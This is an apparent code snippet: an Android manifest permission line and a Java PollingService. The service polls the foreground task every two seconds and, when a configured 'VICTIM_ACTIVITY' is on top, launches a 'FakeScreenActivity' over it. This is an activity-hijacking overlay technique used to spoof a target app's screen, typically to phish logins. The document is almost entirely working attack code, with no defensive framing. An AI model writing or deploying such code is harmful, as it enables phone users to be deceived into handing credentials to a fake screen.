Poll the currently running Android Activity then replace it by our own

AndroidManifest.xml

    <uses-permission android:name="android.permission.GET_TASKS" />

PollingService.java

package pro.schmid.android.foreground;

import java.util.Iterator;
import java.util.List;
import java.util.concurrent.ScheduledThreadPoolExecutor;
import java.util.concurrent.TimeUnit;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningTaskInfo;
import android.app.Service;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.widget.Toast;

public class PollingService extends Service {

  private static final String VICTIM_ACTIVITY = "...";

	private ScheduledThreadPoolExecutor mScheduledThreadPoolExecutor;
	private ActivityManager mActivityManager;
	private Handler mHandler;

	@Override
	public IBinder onBind(Intent i) {
		return null; // Not used
	}

	@Override
	public void onCreate() {
		super.onCreate();
		mHandler = new Handler();

		mActivityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);

		mScheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(1);
		mScheduledThreadPoolExecutor.scheduleWithFixedDelay(new Poll(), 0, 2, TimeUnit.SECONDS);
	}

	@Override
	public void onDestroy() {
		super.onDestroy();

		if (mScheduledThreadPoolExecutor != null) {
			mScheduledThreadPoolExecutor.shutdownNow();
		}
	}

	private class Poll implements Runnable {
		@Override
		public void run() {
			List<RunningTaskInfo> l = mActivityManager.getRunningTasks(1);
			Iterator<RunningTaskInfo> i = l.iterator();
			while (i.hasNext()) {
				RunningTaskInfo info = i.next();
				final String name1 = info.topActivity.getClassName();
				final String name2 = info.baseActivity.getClassName();

				if (VICTIM_ACTIVITY.equalsIgnoreCase(name1)) {
					Intent intent = new Intent(PollingService.this, FakeScreenActivity.class);
					intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
					startActivity(intent);
				}
			}
		}
	}
}